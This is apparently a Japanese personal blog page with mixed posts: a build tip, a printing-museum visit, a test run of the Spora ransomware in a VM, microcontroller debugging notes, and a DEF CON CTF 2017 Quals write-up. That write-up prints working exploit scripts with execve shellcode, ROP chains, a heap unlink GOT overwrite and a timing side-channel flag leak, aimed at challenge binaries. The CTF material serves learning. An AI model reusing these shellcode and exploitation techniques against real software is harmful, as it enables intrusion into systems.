ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

S2Eの差分ビルドがうまくいかなかった

備忘録です。S2Eを一回フルビルド後に、1つのファイルを変更して make -f ../s2e/Makefile しても変更が関知されなかったことがありました。 本家のドキュメントには

Updating S2E You can use the same Makefile to recompile S2E either when changing it yourself or when pulling new versions through git. Note that the Makefile will not automatically reconfigure the packages; for deep changes you might need to either start from scratch by issuing make clean or to force the reconfiguration of specific modules by deleting the corresponding files from the stamps subdirectory.

from https://github.com/dslab-epfl/s2e/blob/master/docs/BuildingS2E.rst

と、修正が多いときはmake cleanしてフルビルドしないといけないケースはあるようです。 それは面倒いのでオブジェクトファイルを消去する方法で対処してみました。

s2e-buildでs2eのビルドをしたので、s2eに関するオブジェクトファイルは s2e-build/qemu-release/arm-s2e-softmmu/s2e に生成されます。変更したソースコードに対応するオブジェクトファイルを消去して make -f ../s2e/Makefile して差分ビルド成功です。

そのあとは一々オブジェクトファイルを消去しなくても差分ビルドしてくれるようになったのでよくわからんです。
# Makefileがs2eのコードの変更を監視してないように見えるんですがこれは…

印刷博物館に行ってきた

マツコの知らない世界というテレビ番組で、絶対フォント感を持つフォント好きの数学教師が出演しました。 自分が好きなフォント、ロダン Pro DBで事項紹介用のフリップをマツコさんに見せたところ、 「普段のフリップのフォントの方が見やすい」と一蹴された場面と、 「そ」の字形の違いに疑問を持ったことがフォントにはまったきっかけだったという話が特に好きです。

# 僕がフォントにはまったきっかけはMicrosoft OfficeのWordでした。

番組の放映後に印刷博物館で「印刷書体のできるまで」という企画展が開催されていることをTwitterで知りました。 この総合展示は6/18(日)まで開催されています。まだまだ間に合いますよ。

印刷博物館:P&Pギャラリー > 印刷書体のできるまで 活字書体からデジタルフォントへ

2017/6/1に上京予定があり(理由はお察しの通り)、夕方前まで予定が無かったので早起きして10時に到着するようにがんばりました><

印刷博物館凸版印刷の建物の中にあります。 有楽町線江戸川橋駅から行くと、川に沿って歩くだけで到着して楽です。 有楽町線はめっちゃ空いていました。 建物はTOPPANと書かれた半円筒形の建物の裏に有るので駅の出口からよく見えます。

1Fの総合展示の入り口のすぐ近くにコインロッカーがあります!お金が戻ってくるタイプです。(ありがたや〜

企画展のメインは凸版文久明朝体ができるまでです。 ラフ〜デザイナーと監修者のやりとり〜墨入れによる清書〜ベクター化〜ベジェ曲線の調整〜レビュー〜完成、という流れです。 印象に残ったことを箇条書きします(メモは取ってないので曖昧です)。

  • スキャンするまでは方眼紙上でデザインしている
  • デジタル化した後は1000☓1000マスのグリッドを基準に考える(へー
    • 線の太さは 24/1000 という具合に指定する
  • ラフや下書きの線がガタガタ
  • レビューのときに、
    • 監修者はデザイナーのアイデアのよさを明確にした上で、自分の意見は参考程度にとどめてと念押ししていた。互いを尊重し合うやりとりが見れてよかった
    • 顔のイラストが至るところに描かれていたのが印象的
    • 監修者がこれってどうかなーって書いて見せて、即、やっぱバランス悪いわ、○○さんさすがっす、で書いててみたいなおちゃめなところ良い
    • 普段の字がそれほどきれいじゃないというのと、丸文字で女の子っぽいという意外性
  • ひらがなと漢字のうろこの向き(左or右)が違うことで議論していた(確か)。この辺は一度も気にしたことがなかった

一旦展示室を出て、室内のエスカレータで地下1階に行きました。 総合展(常設展示)が目的です。 お金を払って入ると、甲骨文字からデジタルディスプレイまでの文字や印刷が関わるものが壁一面に埋め込まれていました。 ドン引きしたのは箱の中にパラパラ漫画が入っていて、横に付いたハンドルを回してパラパラ漫画を見るというクソうるさいものがあったことです。 (なんでこんなものが。ノードでええやんけ)

このエリアが終わると大きい部屋に着きます。 近代・現代の版画、近世の出版物、昭和なポスター、クソデカいフォトレタッチの機械、 それと、母型をレーンに入れといて、キーボードをタイプすると、対応する母型が落っこちて(スペースだとスペーサーみたいのが落っこちます)、行ごとに鉛の版を作る超ドン引きな機械があったりしておもしろかったです。

印象に残ったのは、

  • 『ルソーの森の考える虹猿』(後述)
  • 杉田玄白の頃に使われていた解剖道具(実物っぽい)
  • 富嶽三十六景(浮世絵)が版画の要領で多色刷りされる様子(色が載ってく様子を段階的に観察できるようになっている)
  • インクが出すぎてしまう、残念なカレンダー印刷機
  • 先のドン引き機械を使った印刷方法を説明するビデオに出てた人♂の髪型が近世ヨーロッパにありがちなきのこカットでかわいいですな
  • 昔の写真のレタッチから現像までする様子を模したジオラマ(イラストだと別の角度から見れないのでジオラマの良さが活かされていてよかった)
  • ICを作るとき使うフォトマスクって、美術で習ったエッチングっすな。これじゃ凸版印刷が電子回路系に手を出すのも仕方ないね(コナミ感)

あと意外だったのは、

  • I want you for U.S. army のポスター(実物?;帽子を被って指差しするおっさんのポスター)があった

下の写真は僕が作ったカレンダーです。 これは体験型の展示物で作ったものです。 日付の数字だけは印刷してあって、残りをスタンプ式の機械4台を使って印刷しようというコンセプトの展示です。 最初の1台以外はインクが出すぎてしまうという極悪仕様で、見事に残念なカレンダーとなってしまいました><

f:id:katc:20170614230635j:plain

最後に、企画展をもう一度回った後、ミュージアムショップで虹猿のポストカードとフォントかるた(2,500円!)を買いました。 ポストカードの方は色遣いが凄まじいですな。 悲しいことに、かるたを買ったは良いものの、一緒に遊んでくれそうな人がいません(にゃーん

f:id:katc:20170614231048j:plain

SporaのChrome font.exeを動かしてみたけど、Decryption Errorでコンソールが表示できなかった話

例の「マルウェア解析に必要な素養」に書きましたが、2017年1月からランサムウェアのSporaが出現しています。 一般的なランサムウェアが壁紙を変えて脅迫文を表示する一方で、SporaはWebコンソール(管理画面)を犯罪者とのやり取りに使う変わったランサムウェアです。 今日はそのコンソールのスクショを取るためだけにSporaに感染してみることをしてみましたが、うまくいかなかった話をします。

Sporaの入手

SporaはChromeユーザーにフォントのインストールをダイアログで指示してきます[1]。 hybrid-analysisでsporaタグが付いたレポートからして、Chrome font.exeというのがそのときのファイルっぽいので、次のレポートに添付されている検体を入手しました。

わざと感染

感染ステップ:

  1. 光回線端末とルーターの電源を落として、またつなぐ(=PPPoEセッションの貼り直し=グローバルIPアドレスの変更)
  2. 感染前のスナップショットに復元してあるVMに暗号化されるファイルと検体を投入
  3. 検体を実行→Cドライブのファイルが暗号化されるっぽい(VirtualBoxの共有フォルダ内も暗号化されます!)

Windows 8VMのデスクトップにjpgファイルとxlsxファイルをおいてChrome font.exeを走らせました。 f:id:katc:20170602211146p:plain

感染後、ファイルが暗号化され、各フォルダにIDに".html"がついたhtmlファイルが生成されました。 IEが立ち上がり、アカウントのログイン画面のようなものが表示されます。 f:id:katc:20170602211202p:plain

リンク先を開くとファイルを復号できることを確認するステップが始まりますが、1つファイルを送った後にエラーが出て先に進めませんでした。 f:id:katc:20170602211337p:plain f:id:katc:20170602211250p:plain

Wireshark: https://packettotal.com/cgi-bin/view-analysis.cgi?id=5403d67eddb25e570a4b15db7e505588

インテリジェンス的な情報

SporaがWebコンソールを以下のドメインで動かしています・いました(?)

IDは例えばこんな感じです。国のコードが付記されるのが特徴です。

  • JP53B-9ERTZ-TZTZT-FTHYY
  • JP7D0-37RTZ-TZTZT-FTHYY
  • JPEB6-0DHTZ-TZTZT-XZTHY
  • JP182-1EXTZ-TZTZT-FTXYY

参考文献

[1] 2017年第1四半期 セキュリティラウンドアップ | トレンドマイクロ


コードを抜き差ししてたらPPPoE接続後に外に繋がらなくなりがちになった…

DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup

TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。

TomoriNaoは 126 pts. で 122位 でした。

f:id:katc:20170501130549p:plain

簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。

解いたのは下の3つです。100点submitを目標にしていたので満足です。

  • Baby’s First - smashme (TODO pts.)
  • Baby’s First - beatmeonthedl (TODO pts.)
  • Potent Pwnables - mute (TODO pts.)

smashme

バイナリの挙動

  • BOF(stack smashing)させてくれる

アプローチ

  1. ROPによりinformation leak
  2. main呼び出し
  3. shellcode送信
  4. shellcode呼び出し

shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。

information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。

リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。

エクスプロイトコード

コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz

from pwn import *
from sys import argv

BIN = "./smashme"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

# shellcode = "\x48\x89\xEC" + shellcode              # mov    rsp,rbp 
shellcode = "\x48\x89\xE5" + shellcode              # mov    rbp,rsp 
# shellcode = "\x48\x83\xEC\xf0" + shellcode          # sub    rsp, N
shellcode = "\x48\x83\xC4\x40" + shellcode          # sub    rsp, N

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

r = None
offset = {}
if REMOTE:
    r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348)
else:
    r = process(BIN)

prefix = "Smash me outside, how bout dAAAAAAAAAAA"
payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7)
# payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7)
with open("payload", "w") as f:
    f.write(payload)
# if not REMOTE:
#     exit()

# context.log_level = 'debug'

# if not REMOTE:
#     r.sendline("")
print r.recvline()

# bp()

# bss_stdin = 0x6c9748
# bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210
bss_environ = 0x6cb640

# addr_push_rsp_ret = 0x0044611d
addr_pop_rdi_ret = 0x00401942
addr_puts = 0x40fca0
addr_main = 0x4009ae
rop_chain = [
    p64(addr_pop_rdi_ret),
    p64(bss_environ),
    # p64(0x4a06d8), 
    p64(addr_puts),
    p64(addr_main),
]
r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain))
# if not REMOTE:
#     r.sendline("")
#     r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
# res = r.recvline().replace('\n', '')
res = r.recv(6)
addr = u64(res.ljust(8, '\0'))
print "addr = %#x" % addr
shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20
print "shellcode addr = %#x" % shellcode_addr
# r.interactive()
r.recvline()

bp()

payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr)
r.sendline(payload)
# r.sendline("ls")

r.interactive()

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?

addr = 0x7fff7dbc8508
shellcode addr = 0x7fff7dbc83b7
[*] Switching to interactive mode
Welcome to the Dr. Phil Show. Wanna smash?
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d

beatmeonthedl

バイナリの挙動

  • mallocのチャンクへのポインタのテーブルがbssに置かれる
    • チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
  • チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF
  • コンパイル条件的にGOT Overwrite可能
  • スタックが実行可能(wrx

アプローチ

  • Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
    • 実際は最新Arch Linuxglibc 2.25-1)でも下のエクスプロイトコードは動くので半分間違ってる
    • あとは★参照
  • information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
  • ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
  • 実行可能領域であるスタック(wrx)にshellcodeを書き込む
  • GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)

別記★

  1. 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
  2. consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる

エクスプロイトコード

from pwn import *
from sys import argv
from time import sleep

BIN = "./beatmeonthedl"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
SOCAT = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True
    if argv[1] == "r":
        SOCAT = True

r = None
offset = {}
if REMOTE:
    r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969)
elif SOCAT:
    r = remote("localhost", 6969)
else:
    r = process(BIN)

"""menu
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
"""

def request(text):
    r.sendline('1')
    r.send(text)
    res = r.recvline()
    if "[-] Request list full" in res:
        log.warn(res)
        r.recvuntil('| ')
        return False
    r.recvuntil('| ')
    return True

def print_req():
    r.sendline('2')
    res = r.recvuntil('| ')
    req = []
    for x in res.split('\n'):
        if len(x) > 1:
            if x[0] in "0123456789":
                no, data = x.split(')')[:3]
                data = data[1:]
                req.append((no, data))
    return req

def delete(no):
    r.sendline('3')
    r.sendline("%d" % no)
    # print r.recvuntil('| ')

def change(no, text):
    r.sendline('4')
    r.sendline("%d" % no)
    if len(text) > 0x80:
        log.fatal("too log data")
    r.recvuntil("data: ")
    r.send(text)
    r.recvuntil('| ')

patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

r.sendline(patt[:40])
r.recvuntil("Invalid user: ")
res = r.recvline().strip()[-6:]
addr = u64(res.ljust(8, '\x00'))
log.info("leaked addr = %#x" % addr)
mapped_base_addr = (addr - 0x1f000) & ~0xfff
if REMOTE and len(argv) == 3:
    mapped_base_addr += int(argv[2], 16) * 0x1000
    log.info("arrange offset = %#x" % int(argv[2], 16))
log.info("mapped_base_addr = %#x" % mapped_base_addr)

r.recvuntil('Enter username: ')
r.sendline('mcfly')
r.recvuntil('Enter Pass: ')
r.sendline('awesnap')

r.recvuntil('| ')


# for i in range(32):
# for i in range(4):
for i in range(2):
    # succ = request(chr(97 + i) * (0x80))
    succ = request(chr(97 + i) * (0x10))
    if not succ:
        break

# list_ptr = 0x609e80
# 0 0x60a030 
# 1 0x60a070
# 2 0x60a0b0
# 3 0x60a0f0

print print_req()

### 2
request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode)

# context.log_level = 'debug'

### 3
request("c" * 0x10)
### 4
request("d" * 0x10)

# mapped_base_addr = 0x00007ffffffde000
ptr_reqlist = 0x609e80

#### reqlist[2] = mapped_base_addr
change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))
delete(4)
log.info("reqlist[2] has overwriten")
bp()

sleep(1)

# context.log_level = 'debug'
change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode)
log.info("injected shellcode to reqlist[2]")
bp()

main_addr = 0x40123c
heap_base_addr = 0x0060a000
plt_got = {"puts": 0x609958}
shellcode_addr = mapped_base_addr
log.info("shellcode addr = %#x" % shellcode_addr)
assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000)

log.info("change(0, ...)")
change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))

log.info("=== [got overwrite] ===")
log.info("delete(1)")
bp()
r.sendline("3")
r.sendline("1")


# context.log_level = 'debug'

r.interactive()

結果

K_atc% python2 beatmeonthedl.py r
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
[*] leaked addr = 0x7ffe3b12a4b0
[*] mapped_base_addr = 0x7ffe3b10b000
[('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')]
[*] reqlist[2] has overwriten
[*] injected shellcode to reqlist[2]
[*] shellcode addr = 0x7ffe3b10b000
[*] change(0, ...)
[*] === [got overwrite] ===
[*] delete(1)
[*] Switching to interactive mode
0) @\x99`
1) bbbbbbbbbbbbbbbb
2) H\xbf@\xb0\x10;\xfe\x7f
3) x\x9e`
choice: $ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!

mute

バイナリの挙動

  • シェルコードをmappedされた領域に置いて call rdx で呼び出してくれる親切設計
  • seccompを使用したサンドボックス
    • 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
  • パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1)       = 0x602010
seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef
seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0        read
seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0        open
seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0        close
seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0        stat
seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0        fstat
seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0        lstat
seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0        poll
seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0        lseek
seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0        mmap
seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0       mprotect
seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0       mumap
seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0       brk
seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0       execve
seccomp_load(0x602010, 0, 0, 0)              = 0

アプローチ

  • writeができないので、動作をもとにflagを1ビットずつリークする
    • 朝5時にサーバーが空き始めてきれいに解けた!

エクスプロイトコード

アセンブリの通り。

/home/mute/flagをlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。

from pwn import *
from sys import argv
import os
import struct
import time

BIN = "./mute"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

READ_OFFSET = "0"
BIT_MASK = "0xff"
if REMOTE and len(argv) > 2:
    READ_OFFSET = argv[2]
    BIT_MASK = argv[3]
if not REMOTE and len(argv) > 1:
    READ_OFFSET = argv[1]
    BIT_MASK = argv[2]

def leak(READ_OFFSET, BIT_MASK):
    global BIN
    
    log.info("READ_OFFSET = " + READ_OFFSET)
    log.info("BIT_MASK = " + BIT_MASK)

    r = None
    offset = {}
    if REMOTE:
        r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443)
    else:
        r = process(BIN)

    r.recvline()

    if REMOTE:
        LOOP_AMOUNT = "0x10000000"
    else:
        LOOP_AMOUNT = "0x100000000"

    shellcode = asm("""
        push 0x0
        mov rax, 0x67616c662f657475
        push rax
        mov rax, 0x6d2f656d6f682f2f
        push rax

        push rsp
        pop rdi
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall

        push rax
        mov rdi, rax
        mov rsi, READ_OFFSET
        mov rdx, 0
        mov rax, 8
        syscall   

        pop rax
        mov rdi, rax
        mov rsi, 0x00601100
        mov rdx, 1
        mov rax, 0
        syscall
        
        mov rax, [0x00601100]
        and rax, BIT_MASK

        cmp rax, 0
        jg end
        mov rax, LOOP_AMOUNT
        loop:
        dec rax
        cmp rax, 0
        jne loop
        end:
        """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') 

    # bp()
    # context.log_level = 'debug'

    start_time = time.time()
    # r.send(shellcode.ljust(0x1000, "\x90"))
    for i in range(0x10):
        r.send(shellcode.ljust(0x100, "\x90"))

    try:
        r.recv(0x1000)
    except EOFError:
        end_time = time.time()
        elapsed_time = end_time - start_time
        log.info("Connection Closed")
        print "elapsed time = %f" % elapsed_time   
        r.close()
        return elapsed_time

LOG_FILE_NAME = "bit-%d.log"
if REMOTE:
    LOG_FILE_NAME = "r-"+LOG_FILE_NAME
else:
    LOG_FILE_NAME = "l-"+LOG_FILE_NAME
f = open(LOG_FILE_NAME % time.time(), "w")
for i in range(0x0, 0x90):
    for j in range(8):
        elapsed_time = leak(hex(i), hex(1 << j))
        f.write("%d, %d, %f\n" % (i, j, elapsed_time))
        f.flush()
        time.sleep(1)
f.close()

計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。

data = []
with open("r-bit-1493583250.log") as f:
    data = f.read().strip().split("\n")

with open("r-bit-1493584813.log") as f:
    data += f.read().strip().split("\n")

with open("r-bit-1493585321.log") as f:
    data += f.read().strip().split("\n")

flag = []
for i in range(0x90):
    flag.append(list("0b00000000"))

threthold = 0.5

for x in data:
    i, j, t = x.split(',')
    i, j, t = int(i), int(j), float(t)
    if t < threthold:
        flag[i][-(j+1)] = "1"

buf = ""
for i in range(0x90):
    # print ''.join(flag[i])
    d = int(''.join(flag[i]), 2)
    buf += chr(d & 0xff)
print buf

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py 
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。

手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。

来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)

NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた

NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。

akizukidenshi.com

今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。

OpenOCDはgit版を使っています。

K_atc% openocd -v
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html

ピン接続

デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。

f:id:katc:20170424163240p:plain

図は ULINK2 User's Guide: Target Connectors より

Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜

SWDの場合

f:id:katc:20170424162753p:plain

CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。

Nucleo側 ST-Link側
1 1 (VCC)
2 9 (SWCLK)
3 4 (GND)
4 7 (SWDIO)

JTAGの場合(試行中)

CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging と怒られてしまう)

Nucleo側 ST-Link側
1 1 (VCC) ※
2 9 (JTCK) ※
3 4 (GND) ※
4 7 (TMS/JDIO) ※
5 3 (nRST)
6 13 (TDO/SWO)

OpenOCD

ダメな接続例:USB電源を2箇所からとる

openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。

よい接続例:USBを同じところからとる

2本のUSBを同じPCに接続するということです。

OpenOCDのスクリプトファイル(-fオプションで渡すファイル)を次の要領で作成しました。 ベースのディレクトリはインストール先によって変わるかもしれません。

# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg
# でもよい。 [f:id:katc:20170424162753p:plain]
cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg

SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…

あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。

[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
adapter speed: 300 kHz
adapter_nsrst_delay: 100
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
none separate
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : clock speed 240 kHz
Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.183191
Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints

参考

STM32NucleoでLチカ(mbed/C++)

時間がないので手短にまとめます。

必要なもの

  • STM32のNucleo(僕は、NUCLEO-L152REを使用)
  • USB Mini-B ケーブル
  • mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)

調査

NucleoのLD2(緑色のユーザー用LED)のポートを調べる

NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。

f:id:katc:20170115160519p:plain

PortAのベースアドレスと中身を調べる

STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。

f:id:katc:20170115161258p:plain

PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。

katc.hateblo.jp

Lチカコード(main.cpp)

#include "mbed.h"

#define DURATION 0.15

#define PORT_A (0x40020000)
#define MODER (0x0)
#define ODR (0x14)
#define PORT_A_ODR ((volatile int*)(PORT_A + ODR))
#define PORT_A_MODER ((volatile int*)(PORT_A + MODER))


void ld2_on() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur | 1 << 5;    
}

void ld2_off() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur & ~(1 << 5);
}

// ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない
void init_ld2() {
    // output mode 
    volatile int* cur = (volatile int *) (PORT_A + MODER);
    *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5
    ld2_off();
}

int main() {
    for(int i = 0; i < 1000; i++) {
        ld2_on();        
        wait(DURATION);
        ld2_off();        
        wait(DURATION);
    }
    ld2_on();
    return 0;
}

参考